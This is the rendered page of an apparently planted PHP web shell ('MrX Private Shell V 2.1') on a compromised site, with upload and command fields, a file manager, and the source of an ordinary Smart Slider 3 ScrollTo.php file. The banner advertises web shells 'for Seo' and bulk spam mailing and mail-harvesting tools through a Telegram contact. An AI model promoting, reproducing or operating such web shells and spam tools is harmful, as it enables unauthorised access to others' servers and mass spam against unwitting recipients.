__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Parser\Link;

use Nextend\Framework\Asset\Js\Js;
use Nextend\SmartSlider3\Settings;

class ScrollTo implements ParserInterface {

    public function __construct() {

        Js::addInline('window.n2ScrollSpeed=' . json_encode(intval(Settings::get('smooth-scroll-speed', 400))) . ';');
    }

    public function parse($argument, &$attributes) {

        switch ($argument) {
            case 'top':
                $onclick = 'n2ss.scroll(event, "top");';
                break;
            case 'bottom':
                $onclick = 'n2ss.scroll(event, "bottom");';
                break;
            case 'beforeSlider':
                $onclick = 'n2ss.scroll(event, "before", this.closest(".n2-ss-slider"));';
                break;
            case 'afterSlider':
                $onclick = 'n2ss.scroll(event, "after", this.closest(".n2-ss-slider"));';
                break;
            case 'nextSlider':
                $onclick = 'n2ss.scroll(event, "next", this, ".n2-section-smartslider");';
                break;
            case 'previousSlider':
                $onclick = 'n2ss.scroll(event, "previous", this, ".n2-section-smartslider");';
                break;
            default:
                if (is_numeric($argument)) {
                    $onclick = 'n2ss.scroll(event, "element", "#n2-ss-' . $argument . '");';
                } else {
                    $onclick = 'n2ss.scroll(event, "element", "' . $argument . '");';
                }
                break;
        }
        $attributes['onclick'] = $onclick;

        return '#';
    }
}

Filemanager

Name Type Size Permission Actions
ParserInterface.php File 131 B 0664
ScrollTo.php File 1.57 KB 0664
ScrollToAlias.php File 318 B 0664
Filemanager